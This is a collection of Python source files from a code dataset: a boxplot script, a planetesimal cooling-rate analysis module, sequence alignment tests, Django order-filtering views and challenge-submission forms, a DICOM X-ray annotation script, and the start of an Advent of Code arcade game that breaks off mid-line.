feature_inp:\n\t#list_feature.append(x.split(\"\\n\")[0])\n\toutfig \t\t\t= feature+'boxplot.eps'\n\tdf_feature \t\t= pd.DataFrame(df_table_Tpose[feature])\n\t\n\tdf_feature['category'] = list_stage_n\n\t#create the boxplot\n\timport seaborn as sns \n\tplt.figure()\n\tfig,ax \t\t\t\t= plt.subplots()\n\tpal \t\t\t\t=['#0072BC',\"#F7941D\"]\n\tsns.set(style='ticks',font_scale=0.6)\n\tsns.boxplot(x='category', y=feature, data=df_feature,linewidth=1.00,width=0.1,palette=pal,showfliers=True)\n\tsns.despine(offset=10, trim=True)\n\t#plt.xticks(rotation=90)\n#plt.xlim(0.0,4000)\n\tplt.legend(bbox_to_anchor=(1.05, 1), loc=2, borderaxespad=0.)\n\tplt.savefig(outfig, bbox_inches='tight',format='eps', dpi=310)\n\n\n#modify the x and y axis while playing with orient","sub_path":"Data_Analysis/Boxplot_generator.py","file_name":"Boxplot_generator.py","file_ext":"py","file_size_in_byte":1607,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"118867437","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nAnalyse the results of the conductive cooling model for a planetesimal.\n\nThis module contains functions to calculate the cooling rates of meteorites\nbased on the empirical relations suggested by Yang et al. (2010); see full\nreferences in\n`Murphy Quinlan et al. (2021) `_. It\nalso contains functions to analyse the temperature arrays produced by the\n`pytesimal.numerical_methods` module, allowing estimation of the depth of\ngenesis of pallasite meteorites, the relative timing of paleomagnetic\nrecording in meteorites and core dynamo action, and calculation of cooling\nrates in the mantle of the planetesimal through time.\n\n\"\"\"\nimport numpy as np\n\n\ndef core_freezing(\n coretemp, max_time, times, latent, temp_core_melting, timestep=1e11\n):\n \"\"\"\n Calculate when the core starts and finishes solidifying.\n\n Takes core temperature and returns boolean array of when the core is\n below the freezing/melting temperature.\n\n Parameters\n ----------\n coretemp : numpy.ndarray\n Array of temperatures in the core, in Kelvin.\n max_time : float\n Length of time the model runs for, in seconds.\n times : numpy.ndarray\n Array from 0 to the max time +0.5* the timestep, with a spacing equal\n to the timestep.\n latent : list\n List of total latent heat extracted since core began freezing, at each\n timestep.\n temp_core_melting : float\n Melting point of core material, in Kelvin.\n timestep : float, default 1e11\n Discretisation timestep in seconds.\n\n Returns\n -------\n core_frozen: boolean array where temperature <= 1200 K\n times_frozen: array of indices of times where the temp <= 1200 K\n time_core_frozen: when the core starts to freeze, in seconds\n fully_frozen: when the core finished freezing, in seconds\n\n \"\"\"\n # finding time where the core starts to freeze\n core_frozen = [coretemp <= temp_core_melting]\n # creates boolean array for temp<=1200\n times_frozen = np.where(core_frozen)[2] # 0 and 1 give time = 0.0 Mya\n # np.where outputs indices where temp<=1200\n\n time_core_frozen = 0.0\n if time_core_frozen >= max_time or len(times_frozen) == 0.0:\n # print(\"Core freezes after max time\")\n time_core_frozen = 0.0\n fully_frozen = 0.0\n else:\n time_core_frozen = times_frozen[0]\n # first time the temperature is less than 1200K\n time_core_frozen = (time_core_frozen) * (\n timestep\n ) # convert to seconds\n\n # find time core finishes freezing, time when latent heat is all\n # gone + time core started to freeze\n fully_frozen = times[len(latent)] + time_core_frozen\n return (core_frozen, times_frozen, time_core_frozen, fully_frozen)\n\n\ndef cooling_rate(temperature_array, timestep):\n \"\"\"Calculate an array of cooling rates from temperature array.\"\"\"\n dTdt = np.gradient(temperature_array, timestep, axis=1)\n return dTdt\n\n\ndef cooling_rate_cloudyzone_diameter(d):\n \"\"\"\n Cooling rate calculated using cloudy zone particle diameter in nm.\n\n Constants from Yang et al., 2010; obtained by comparing cz particles and\n tetrataenite bandwidth to modelled Ni diffusion in kamacite and taenite.\n\n Parameters\n ----------\n d : float\n Cloudy zone particle size in nm.\n\n Returns\n -------\n cz_rate : float\n The cooling rate in K/Myr.\n\n \"\"\"\n m = 7620000 # constant\n cz_rate = m / (d ** 2.9) # in K/Myr\n return cz_rate\n\n\ndef cooling_rate_tetra_width(tw):\n \"\"\"\n Cooling rate calculated using tetrataenite bandwidth in nm.\n\n Constants from Yang et al., 2010; obtained by comparing cz particles and\n tetrataenite bandwidth to modelled Ni diffusion in kamacite and taenite.\n\n Parameters\n ----------\n tw : float\n Tetrataenite bandwidth in nm.\n\n Returns\n -------\n t_rate : float\n The cooling rate in K/Myr.\n\n \"\"\"\n k = 14540000 # constant\n t_rate = k / (tw ** 2.3) # in K/Myr\n return t_rate\n\n\ndef cooling_rate_to_seconds(cooling_rate):\n \"\"\"Convert cooling rates to seconds.\n\n Parameters\n ----------\n cooling_rate : float\n The cooling rate in K/Myr.\n\n Returns\n -------\n new_cooling_rate : float\n The cooling rate in K/s.\n\n \"\"\"\n myr = 3.1556926e13\n new_cooling_rate = cooling_rate / myr\n return new_cooling_rate\n\n\ndef meteorite_depth_and_timing(\n CR,\n temperatures,\n dT_by_dt,\n radii,\n r_planet,\n core_size_factor,\n time_core_frozen,\n fully_frozen,\n dr=1000.0,\n dt=1e11\n):\n \"\"\"\n Find depth of genesis given the cooling rate.\n\n Function finds the depth, given the cooling rate, and checks if the 593K\n contour crosses this depth during core solidification, implying whether or\n not the meteorite is expected to record core dynamo action.\n\n Parameters\n ----------\n CR : float\n cooling rate of meteorite, in K/s.\n temperatures : numpy.ndarray\n Array of mantle temperatures, in Kelvin.\n dT_by_dt : numpy.ndarray\n Array of mantle cooling rates, in K/dt.\n radii : numpy.ndarray\n Mantle radii spaced by `dr`, in m.\n r_planet : float\n Planetesimal radius, in m.\n core_size_factor : float, <1\n Radius of the core, expressed as a fraction of `r_planet`.\n time_core_frozen : float\n The time the core begins to freeze, in dt.\n fully_frozen : float\n The time the core is fully frozen, in dt.\n dr : float, default 1000.0\n Radial step for numerical discretisation, in m.\n\n Returns\n -------\n depth : float\n Depth of genesis of meteorite, in km.\n string : string\n Relative timing of tetrataenite formation and core crystallisation, in\n a string format\n time_core_frozen : float\n The time the core begins to freeze, in dt.\n Time_of_Crossing : float\n When the meteorite cools through tetrataenite formation temperature, in\n dt.\n Critical_Radius : float\n Depth of meteorite genesis given as radius value, in m.\n\n \"\"\"\n # Define two empty lists\n t_val = [] # for the 800K temperature contour\n dt_val = [] # cooling rate contour\n for ti in range(5, temperatures.shape[1]):\n\n # Find the index where temperatures are 800K by finding the minimum of\n # (a given temperature-800)\n index_where_800K_ish = np.argmin(\n np.absolute(temperatures[:, ti] - 800)\n )\n if (np.absolute(temperatures[index_where_800K_ish, ti] - 800)) > 10:\n continue\n\n # Find the index where dT_by_dt = meteorite cooling rate\n index_where_dtbydT = np.argmin(np.absolute(dT_by_dt[:, ti] + CR))\n if (np.absolute(dT_by_dt[index_where_dtbydT, ti] + CR)) > 1e-15:\n continue\n\n t_val.append(index_where_800K_ish)\n dt_val.append(index_where_dtbydT)\n\n # Find the points where they cross, this will lead to a depth of formation\n assert len(t_val) == len(\n dt_val\n ), \"Contour length error!\" # flags an error if t_val and dt_val are not\n # the same length\n crosses = (\n np.array(t_val) - np.array(dt_val) == 0\n ) # boolean for if the indices of the two arrays are the same\n if not any(crosses):\n # The two lines do not cross\n string = \"No cooling rate matched cooling history\"\n return None, string, None, None, None\n\n # finding the depth of formation\n crossing_index2 = np.argmax(\n crosses\n ) # finds the first 'maximum' which is the first TRUE,\n # or the first crossing\n Critical_Radius = radii[\n dt_val[crossing_index2]\n ] # radius where this first crossing occurs\n\n t_val2 = [] # for the 593K contour\n d_val = []\n for ti in range(5, temperatures.shape[1]):\n # Find the index where temperatures are 593K by finding the minimum of\n # (a given temperature-593)\n index_where_593K_ish = np.argmin(\n np.absolute(temperatures[:, ti] - 593)\n )\n if (np.absolute(temperatures[index_where_593K_ish, ti] - 593)) > 10:\n pass\n\n t_val2.append(index_where_593K_ish)\n d_val.append(\n ((Critical_Radius) / dr - ((r_planet / dr) * core_size_factor))\n ) # computes the depth, converts from radius to depth\n crossing = [\n np.array(t_val2) - d_val < 0.00001\n ] # indices where computed depth crosses temperature contour (593 K)\n\n crossing_index = np.argmax(\n crossing\n ) # finds the first 'maximum' which is the first TRUE,\n # or the first crossing\n Time_of_Crossing = crossing_index * (dt) # converts to seconds\n radii_index = int(((d_val)[crossing is True]))\n\n # check to see if the depth crosses the 593K contour during solidification\n # or before/after\n if time_core_frozen == 0:\n string = \"Core Freezes after Max Time\"\n depth = ((r_planet) - radii[int(((d_val)[crossing is True]))]) / dr\n return (depth, string, time_core_frozen, Time_of_Crossing)\n else:\n if radii_index > len(radii):\n string = \"Core has finished solidifying\"\n depth = 0\n return (depth, string, time_core_frozen, Time_of_Crossing)\n else:\n depth = ((r_planet) - radii[int(((d_val)[crossing is True]))]) / dr\n if Time_of_Crossing == 0:\n string = \"hmm, see plot\" # lines cross at 0 time, doesn't tell\n # you when it formed\n if Time_of_Crossing < time_core_frozen and Time_of_Crossing != 0:\n string = \"Core has not started solidifying yet\"\n if time_core_frozen < Time_of_Crossing < fully_frozen:\n string = \"Core has started solidifying\"\n if Time_of_Crossing > fully_frozen:\n string = \"Core has finished solidifying\"\n return (\n depth,\n string,\n time_core_frozen,\n Time_of_Crossing,\n Critical_Radius,\n )\n","sub_path":"pytesimal/analysis.py","file_name":"analysis.py","file_ext":"py","file_size_in_byte":10080,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"348562205","text":"from igdiscover.align import consensus, multialign\n\n\ndef test_consensus():\n assert consensus((\n \"TATTACTGTGCGAG---\",\n \"TATTACTGTGCGAGAGA\",\n \"TATTACTGTGCGAGAGA\",\n \"TATTACTGTGCGAGAG-\",\n \"TATTACTGTGCGAGAG-\",\n \"TATTACTGTGCGAG---\",\n \"TATTACTGTGCGAGA--\",\n )) == \\\n \"TATTACTGTGCGAGAGA\"\n\n\ndef test_multialign():\n result = multialign({\n \"seq1\": \"TATTACTGTGCGAG\",\n \"seq2\": \"TCTTACGTGCTAG\",\n }, program=\"muscle\")\n assert result == {\n \"seq1\": \"TATTACTGTGCGAG\",\n \"seq2\": \"TCTTAC-GTGCTAG\",\n }\n","sub_path":"tests/test_align.py","file_name":"test_align.py","file_ext":"py","file_size_in_byte":581,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"537255813","text":"from django.http import HttpResponse, HttpResponseRedirect, HttpResponseBadRequest, JsonResponse\r\nfrom django.views.decorators.csrf import requires_csrf_token, ensure_csrf_cookie\r\nfrom django.contrib.auth.decorators import login_required\r\n# from django.core.cache import cache\r\nfrom django.shortcuts import render\r\nfrom django.core import serializers\r\nfrom django.db.models import Q\r\nfrom django.apps import apps\r\n\r\nfrom allauth.account.views import LoginView, LogoutView\r\nfrom itertools import chain\r\nimport json\r\n\r\nfrom .forms import*\r\nfrom .models import *\r\nfrom utilities import config\r\n\r\n# Create your views here.\r\n\r\n#Modelformsets for Rendelések\r\n@login_required(redirect_field_name='')\r\ndef rendelesek(request):\r\n\trendelesekForm = RendelesForm()\r\n\tcontext = {'RendelesForm': rendelesekForm}\r\n\treturn render(request, 'rendelesek.html', context)\r\n\r\n#@login_required(redirect_field_name='')\r\ndef filterRendelesek(request):\r\n\r\n\tif request.method == 'POST':\r\n\t\tresponse_data = {}\r\n\t\tprojekt_select = request.POST['projekt_select']\r\n\t\tepulet_select = request.POST['epulet_select']\r\n\t\temelet_select = request.POST['emelet_select']\r\n\r\n\t\tchecked_labels = []\r\n\t\tselected_options = []\r\n\r\n\t\t#Get all checked items\r\n\t\tfor input in request.POST:\r\n\t\t\tif \"checkbox\" in input:\r\n\t\t\t\tchecked_labels.append(request.POST[input])\r\n\t\t\telif \"rendeles\" in input:\r\n\t\t\t\t# Handle tobblet --> [pk1|pk2]\r\n\t\t\t\tif \"|\" in request.POST[input]:\r\n\t\t\t\t\tsplit = request.POST[input].split(\"|\")\r\n\t\t\t\t\tselected_options.append(split[0])\r\n\t\t\t\t\tselected_options.append(split[1])\r\n\t\t\t\telse:\r\n\t\t\t\t\tselected_options.append(request.POST[input])\r\n\r\n\t\t#Ide még kelleni fog egy olyan query feltétel, hogy a lakás lezárt státuszban kell legyen, hogy rendelést lehessen belőle csinálni\r\n\t\tif emelet_select == '':\r\n\t\t\tlakasok = Lakasok.objects.filter(projekt = config.projekt_dict[projekt_select], epulet = config.epulet_dict[epulet_select]).order_by('epulet', 'emelet', 'lakasszam')\r\n\t\telse:\r\n\t\t\tlakasok = Lakasok.objects.filter(projekt = config.projekt_dict[projekt_select], epulet = config.epulet_dict[epulet_select], emelet=emelet_select).order_by('epulet', 'emelet', 'lakasszam')\r\n\r\n\t\tif not lakasok:\r\n\t\t\treturn JsonResponse({'lakas' : 'null'})\r\n\r\n\t\t#Iterate lakasok\r\n\t\tfor lakas in lakasok:\r\n\t\t\tqueryset_list = []\r\n\t\t\ttulajdonos = lakas.tulajdonos.first().nev\r\n\r\n\t\t\tfor i in range(len(checked_labels)):\r\n\r\n\t\t\t\t#query_column a megfelelő model pk_field neve, ha konkrét típusból akar rendelést csinálni\r\n\t\t\t\tquery_column = config.rendeles_filter_dict[checked_labels[i]][0]\r\n\t\t\t\toption = selected_options[i]\r\n\r\n\t\t\t\t#Nyilaszarok special case\r\n\t\t\t\tif \"redony\" in checked_labels[i] or \"szunyoghalo\" in checked_labels[i]:\r\n\t\t\t\t\tmodel = apps.get_model('lakasKonyv', \"NyilaszaroRendeles\")\r\n\t\t\t\telse:\r\n\t\t\t\t\tmodel = apps.get_model('lakasKonyv', checked_labels[i])\r\n\r\n\t\t\t\t#Query desired columns (rendeles_filter_dict) of checked rendeles categories from lakasdb\r\n\t\t\t\t#Csak azt adja vissza ami rendelheto = True\r\n\t\t\t\trendelesek_queryset = model.objects.values(*config.rendeles_filter_dict[checked_labels[i]]) \\\r\n\t\t\t\t.filter(lakas_id = lakas.pk, aktiv = True).filter(**{query_column + \"__rendelheto\" : True})\r\n\r\n\t\t\t\t#További filter kell, ha konkrét típust akar 'Összes' ('0') helyett\r\n\t\t\t\tif option != '0':\r\n\t\t\t\t\trendelesek_queryset = rendelesek_queryset.filter(**{query_column : option})\r\n\r\n\t\t\t\tif rendelesek_queryset:\r\n\r\n\t\t\t\t\t#alter rendelesek_queryset: change db_column names to proper labels\r\n\t\t\t\t\taltered_rendelesek_queryset = []\r\n\t\t\t\t\tfor index in range(0, len(rendelesek_queryset)):\r\n\t\t\t\t\t\tcolNum = 0\r\n\t\t\t\t\t\ttempDict = {}\r\n\t\t\t\t\t\tfor key in rendelesek_queryset[index]:\r\n\r\n\t\t\t\t\t\t\t# Az id-t nem rakjuk bele a response-ba, csak arra kell, hogy ha konkrét típusra keres, akkor +1 filterezés,\r\n\t\t\t\t\t\t\t# ezért azt skippeljük\r\n\t\t\t\t\t\t\tif colNum == 0:\r\n\t\t\t\t\t\t\t\tcolNum += 1\r\n\t\t\t\t\t\t\t\tcontinue\r\n\r\n\t\t\t\t\t\t\t#Csak 2 tizedesjegy kell\r\n\t\t\t\t\t\t\tif \"mennyiseg\" in key or \"folyometer\" in key:\r\n\t\t\t\t\t\t\t\ttempDict[config.rendeles_column_labels_dict[checked_labels[i]][colNum - 1]] =\\\r\n\t\t\t\t\t\t\t\tround(rendelesek_queryset[index][key], 2)\r\n\r\n\t\t\t\t\t\t\telse:\r\n\t\t\t\t\t\t\t\ttempDict[config.rendeles_column_labels_dict[checked_labels[i]][colNum - 1]] = rendelesek_queryset[index][key]\r\n\r\n\t\t\t\t\t\t\tcolNum += 1\r\n\r\n\t\t\t\t\t\taltered_rendelesek_queryset.append(tempDict)\r\n\t\t\t\t\t\tif lakas.emelet == 8 and lakas.lakasszam == 9:\r\n\t\t\t\t\t\t\tprint(\"\")\r\n\t\t\t\t\t\t\tfor query in altered_rendelesek_queryset:\r\n\t\t\t\t\t\t\t\tprint(query)\r\n\r\n\t\t\t\t\tqueryset_list.append({config.rendeles_tipus_dict[checked_labels[i]] : altered_rendelesek_queryset})\r\n\r\n\t\t\tif \"tukrok\" in request.POST['tipus_select']:\r\n\t\t\t\ttukrok = HidegburkolatokFalRendeles.objects.filter(Q(aktiv=True, tukor_felulet__gt = 0, lakas=lakas)).\\\r\n\t\t\t\tvalues('helyiseg', 'tukor_felulet').distinct()\r\n\t\t\t\t#values('helyiseg', 'tukor_felulet')\r\n\t\t\t\tif tukrok:\r\n\t\t\t\t\taltered_tukrok = []\r\n\t\t\t\t\tfor i in range(len(tukrok)):\r\n\t\t\t\t\t\tcolNum = 0\r\n\t\t\t\t\t\ttempDict = {}\r\n\t\t\t\t\t\tfor key in tukrok[i]:\r\n\t\t\t\t\t\t\ttempDict[config.rendeles_column_labels_dict['Tükrök'][colNum]] = tukrok[i][key]\r\n\t\t\t\t\t\t\tcolNum += 1\r\n\r\n\t\t\t\t\t\taltered_tukrok.append(tempDict)\r\n\r\n\t\t\t\t\tqueryset_list.append({\"Tükrök\" : altered_tukrok})\r\n\r\n\t\t\tif queryset_list:\r\n\t\t\t\tqueryset_list.append({\"Tulajdonos\" : tulajdonos})\r\n\t\t\t\tepemKey = lakas.epulet + \" épület \" + str(lakas.emelet) + \". emelet\"\r\n\t\t\t\tlakasKey = \"Lakás:\" + str(lakas.lakasszam)\r\n\t\t\t\tif epemKey not in response_data:\r\n\t\t\t\t\tresponse_data[epemKey] = {}\r\n\t\t\t\tresponse_data[epemKey][lakasKey] = []\r\n\t\t\t\tresponse_data[epemKey][lakasKey] = queryset_list\r\n\r\n\t\t#Append all queried column names to end of result from config\r\n\t\tif response_data:\r\n\t\t\tresponse_data['Columns'] = {}\r\n\t\t\tfor i in range(len(checked_labels)):\r\n\t\t\t\tresponse_data['Columns'][config.rendeles_tipus_dict[checked_labels[i]]] = []\r\n\t\t\t\tfor j in range(len(config.rendeles_column_labels_dict[checked_labels[i]])):\r\n\t\t\t\t\tresponse_data['Columns'][config.rendeles_tipus_dict[checked_labels[i]]]\\\r\n\t\t\t\t\t.append(config.rendeles_column_labels_dict[checked_labels[i]][j])\r\n\r\n\t\t\tif \"tukrok\" in request.POST['tipus_select']:\r\n\t\t\t\tresponse_data['Columns']['Tükrök'] = ['Helyiség', 'Tükörfelület']\r\n\r\n\t\tif not response_data:\r\n\t\t\treturn JsonResponse({'lakas' : 'empty'})\r\n\r\n\t\t# Return response_data\r\n\t\treturn JsonResponse(response_data)\r\n\r\n\treturn HttpResponseBadRequest","sub_path":"muszaki_egyeztetes/rendelesek/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6307,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"407951334","text":"from matplotlib import pyplot as plt\nimport matplotlib.patches as patches\nimport glob\nimport pydicom ### to conver dicom to png images\nfrom pydicom.pixel_data_handlers.util import apply_voi_lut ### don't know why???\nimport cv2 ## OpenCV package\nfrom skimage import exposure ### some preprocess like equalize histogram.\nimport numpy as np\nimport pandas as pd\nimport os\n\n# ### imports for the bbox section\n# from PIL import Image\n# from sklearn import preprocessing\n# import random\n# from random import randint\n\nfor dirname, _, filenames in os.walk('C:/Users/w/Desktop/coding/image'):\n for filename in filenames:\n print(os.path.join(dirname, filename))\n\nprimary_dir = 'C:/Users/w/Desktop/coding/'\ntrain_csv = pd.read_csv(primary_dir +'train.csv')\nprint(train_csv.columns)\n\ndef dicom2array(path, voi_lut=True, fix_monochrome=True):\n dicom = pydicom.read_file(path)\n # VOI LUT (if available by DICOM device) is used to\n # transform raw DICOM data to \"human-friendly\" view\n if voi_lut:\n data = apply_voi_lut(dicom.pixel_array, dicom)\n else:\n data = dicom.pixel_array\n # depending on this value, X-ray may look inverted - fix that:\n if fix_monochrome and dicom.PhotometricInterpretation == \"MONOCHROME1\":\n data = np.amax(data) - data\n data = data - np.min(data)\n data = data / np.max(data)\n data = (data * 255).astype(np.uint8)\n '''\n new_shape = tuple([int(x / downscale_factor) for x in data.shape])\n data = cv2.resize(data, (new_shape[1], new_shape[0]))\n '''\n return data\n\nfor dirname, _, filenames in os.walk('C:/Users/w/Desktop/coding/image'):\n for filename in filenames:\n img = dicom2array(os.path.join(dirname, filename))\n image_id = filename.split('.')\n train_id = train_csv[train_csv.image_id == image_id[0]]\n print(train_id['class_id'])\n count = 0\n cv2.imwrite('./image/' + str(image_id[0]) + '.jpg', img)\n img2 = cv2.imread('./image/' + str(image_id[0]) + '.jpg')\n for i in train_id['class_id']:\n if i != 14:\n x_min=train_id['x_min'].iloc[count]\n x_max = train_id['x_max'].iloc[count]\n y_min = train_id['y_min'].iloc[count]\n y_max = train_id['y_max'].iloc[count]\n class_name = train_id['class_name'].iloc[count]\n cv2.putText(img2,class_name,(int(x_min),int(y_min)),cv2.FONT_ITALIC,5,(0,0,0),4)\n cv2.rectangle(img2, (int(x_min),int(y_min)), (int(x_max),int(y_max)), (0,0,255), 3)\n count += 1\n cv2.imwrite('./image/' + str(image_id[0]) + '.jpg', img2)\n","sub_path":"XrayDetection/dicom.py","file_name":"dicom.py","file_ext":"py","file_size_in_byte":2624,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"139342744","text":"from crispy_forms.bootstrap import Tab, TabHolder\nfrom crispy_forms.helper import FormHelper\nfrom crispy_forms.layout import ButtonHolder, Layout, Submit\nfrom django import forms\nfrom django.contrib.auth import get_user_model\nfrom django.core.exceptions import ObjectDoesNotExist, ValidationError\nfrom django.db.models.functions import Lower\nfrom django.forms import ModelChoiceField\nfrom django.utils.html import format_html\nfrom django.utils.text import format_lazy\nfrom django_select2.forms import Select2Widget\nfrom django_summernote.widgets import SummernoteInplaceWidget\nfrom guardian.shortcuts import get_objects_for_user\n\nfrom grandchallenge.algorithms.models import Algorithm\nfrom grandchallenge.core.forms import SaveFormInitMixin\nfrom grandchallenge.core.validators import ExtensionValidator\nfrom grandchallenge.core.widgets import JSONEditorWidget\nfrom grandchallenge.evaluation.models import (\n EXTRA_RESULT_COLUMNS_SCHEMA,\n Method,\n Phase,\n Submission,\n)\nfrom grandchallenge.jqfileupload.widgets import uploader\nfrom grandchallenge.jqfileupload.widgets.uploader import UploadedAjaxFileList\nfrom grandchallenge.subdomains.utils import reverse, reverse_lazy\n\nphase_options = (\"title\",)\n\nsubmission_options = (\n \"submission_page_html\",\n \"creator_must_be_verified\",\n \"daily_submission_limit\",\n \"allow_submission_comments\",\n \"supplementary_file_choice\",\n \"supplementary_file_label\",\n \"supplementary_file_help_text\",\n \"publication_url_choice\",\n)\n\nscoring_options = (\n \"score_title\",\n \"score_jsonpath\",\n \"score_error_jsonpath\",\n \"score_default_sort\",\n \"score_decimal_places\",\n \"extra_results_columns\",\n \"scoring_method_choice\",\n \"auto_publish_new_results\",\n \"result_display_choice\",\n)\n\nleaderboard_options = (\n \"display_submission_comments\",\n \"show_supplementary_file_link\",\n \"show_publication_url\",\n \"evaluation_comparison_observable_url\",\n)\n\nresult_detail_options = (\n \"display_all_metrics\",\n \"evaluation_detail_observable_url\",\n)\n\n\nclass PhaseTitleMixin:\n def __init__(self, *args, challenge, **kwargs):\n self.challenge = challenge\n super().__init__(*args, **kwargs)\n\n def clean_title(self):\n title = self.cleaned_data[\"title\"].strip()\n\n qs = self.challenge.phase_set.filter(title__iexact=title)\n\n if self.instance:\n qs = qs.exclude(pk=self.instance.pk)\n\n if qs.exists():\n raise ValidationError(\n \"This challenge already has a phase with this title\"\n )\n\n return title\n\n\nclass PhaseCreateForm(PhaseTitleMixin, SaveFormInitMixin, forms.ModelForm):\n class Meta:\n model = Phase\n fields = (\"title\",)\n\n\nclass PhaseUpdateForm(PhaseTitleMixin, forms.ModelForm):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.helper = FormHelper(self)\n self.helper.layout = Layout(\n TabHolder(\n Tab(\"Phase\", *phase_options),\n Tab(\"Submission\", *submission_options),\n Tab(\"Scoring\", *scoring_options),\n Tab(\"Leaderboard\", *leaderboard_options),\n Tab(\"Result Detail\", *result_detail_options),\n ),\n ButtonHolder(Submit(\"save\", \"Save\")),\n )\n\n class Meta:\n model = Phase\n fields = (\n *phase_options,\n *submission_options,\n *scoring_options,\n *leaderboard_options,\n *result_detail_options,\n )\n widgets = {\n \"submission_page_html\": SummernoteInplaceWidget(),\n \"extra_results_columns\": JSONEditorWidget(\n schema=EXTRA_RESULT_COLUMNS_SCHEMA\n ),\n }\n\n\nclass MethodForm(SaveFormInitMixin, forms.ModelForm):\n phase = ModelChoiceField(\n queryset=None,\n help_text=\"Which phase is this evaluation container for?\",\n )\n chunked_upload = UploadedAjaxFileList(\n widget=uploader.AjaxUploadWidget(multifile=False, auto_commit=False),\n label=\"Evaluation Method Container\",\n validators=[\n ExtensionValidator(allowed_extensions=(\".tar\", \".tar.gz\"))\n ],\n help_text=(\n \".tar.gz archive of the container image produced from the command \"\n \"'docker save IMAGE | gzip -c > IMAGE.tar.gz'. See \"\n \"https://docs.docker.com/engine/reference/commandline/save/\"\n ),\n )\n\n def __init__(self, *args, user, challenge, **kwargs):\n super().__init__(*args, **kwargs)\n self.fields[\"chunked_upload\"].widget.user = user\n self.fields[\"phase\"].queryset = challenge.phase_set.all()\n\n class Meta:\n model = Method\n fields = [\"phase\", \"chunked_upload\"]\n\n\nsubmission_fields = (\n \"creator\",\n \"comment\",\n \"supplementary_file\",\n \"publication_url\",\n \"chunked_upload\",\n)\n\n\nclass SubmissionForm(forms.ModelForm):\n chunked_upload = UploadedAjaxFileList(\n widget=uploader.AjaxUploadWidget(multifile=False, auto_commit=False),\n label=\"Predictions File\",\n validators=[ExtensionValidator(allowed_extensions=(\".zip\", \".csv\"))],\n )\n algorithm = ModelChoiceField(\n queryset=None,\n help_text=format_lazy(\n \"Select one of your algorithms to submit as a solution to this \"\n \"challenge. If you have not created your algorithm yet you can \"\n \"do so on this page.\",\n reverse_lazy(\"algorithms:create\"),\n ),\n )\n\n def __init__(\n self,\n *args,\n user,\n creator_must_be_verified=False,\n algorithm_submission=False,\n display_comment_field=False,\n supplementary_file_choice=Phase.OFF,\n supplementary_file_label=\"\",\n supplementary_file_help_text=\"\",\n publication_url_choice=Phase.OFF,\n **kwargs,\n ):\n \"\"\"\n Conditionally render the comment field based on the\n display_comment_field kwarg\n \"\"\"\n super().__init__(*args, **kwargs)\n\n self.creator_must_be_verified = creator_must_be_verified\n\n if not display_comment_field:\n del self.fields[\"comment\"]\n\n if supplementary_file_label:\n self.fields[\"supplementary_file\"].label = supplementary_file_label\n\n if supplementary_file_help_text:\n self.fields[\n \"supplementary_file\"\n ].help_text = supplementary_file_help_text\n\n if supplementary_file_choice == Phase.REQUIRED:\n self.fields[\"supplementary_file\"].required = True\n elif supplementary_file_choice == Phase.OFF:\n del self.fields[\"supplementary_file\"]\n\n if publication_url_choice == Phase.REQUIRED:\n self.fields[\"publication_url\"].required = True\n elif publication_url_choice == Phase.OFF:\n del self.fields[\"publication_url\"]\n\n if algorithm_submission:\n del self.fields[\"chunked_upload\"]\n\n self.fields[\"algorithm\"].queryset = get_objects_for_user(\n user,\n f\"{Algorithm._meta.app_label}.change_{Algorithm._meta.model_name}\",\n Algorithm,\n ).order_by(\"title\")\n else:\n del self.fields[\"algorithm\"]\n\n self.fields[\"chunked_upload\"].widget.user = user\n\n self.fields[\"creator\"].queryset = get_user_model().objects.filter(\n pk=user.pk\n )\n self.fields[\"creator\"].initial = user\n\n self.helper = FormHelper(self)\n self.helper.layout.append(Submit(\"save\", \"Save\"))\n\n def clean_algorithm(self):\n algorithm = self.cleaned_data[\"algorithm\"]\n\n if algorithm.latest_ready_image is None:\n raise ValidationError(\n \"This algorithm does not have a usable container image. \"\n \"Please add one and try again.\"\n )\n\n return algorithm\n\n def clean_creator(self):\n creator = self.cleaned_data[\"creator\"]\n\n try:\n user_is_verified = creator.verification.is_verified\n except ObjectDoesNotExist:\n user_is_verified = False\n\n if self.creator_must_be_verified and not user_is_verified:\n error_message = format_html(\n \"You must verify your account before you can make a \"\n \"submission to this phase. Please \"\n ' request verification here.',\n reverse(\"verifications:create\"),\n )\n\n # Add this to the non-field errors as we use a HiddenInput\n self.add_error(None, error_message)\n\n raise ValidationError(error_message)\n\n return creator\n\n class Meta:\n model = Submission\n fields = submission_fields\n widgets = {\"creator\": forms.HiddenInput}\n\n\nclass LegacySubmissionForm(SubmissionForm):\n def __init__(self, *args, challenge, **kwargs):\n super().__init__(*args, **kwargs)\n\n self.fields[\n \"creator\"\n ].queryset = challenge.participants_group.user_set.all().order_by(\n Lower(\"username\")\n )\n\n # For legacy submissions an admin is able to create submissions\n # for any participant\n self.creator_must_be_verified = False\n\n class Meta(SubmissionForm.Meta):\n widgets = {\"creator\": Select2Widget}\n","sub_path":"app/grandchallenge/evaluation/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":9348,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"43201213","text":"################################################################################\r\n# AoC_13-2.py\r\n# 2019-12-13\r\n# Mike Quigley\r\n#\r\n# https://adventofcode.com/2019/day/13\r\n#\r\n# We're building an arcade cabinet today. The actual game is in Intcode,\r\n# but it needs some outside support.\r\n# This program plays the game\r\n################################################################################\r\nimport INTCODE_T\r\nfrom asciimatics.screen import Screen\r\nimport time\r\n\r\ncpu = INTCODE_T.Intcomp_T(1, \"CPU\", 4096, True)\r\n#tiles = [' ','█','■','▬','●'] #Solid\r\n#tiles = [' ','X','B','=','o'] #Text\r\ntiles = [' ','▒','▲','▬','●'] #Christmas Tree\r\ncolours = [0,1,2,7,3]\r\nscore = 0\r\n\r\ndef arcade(screen):\r\n global score\r\n screen_complete = False\r\n ballX = 0\r\n paddleX = 0\r\n print(\"START\")\r\n while True:\r\n x = 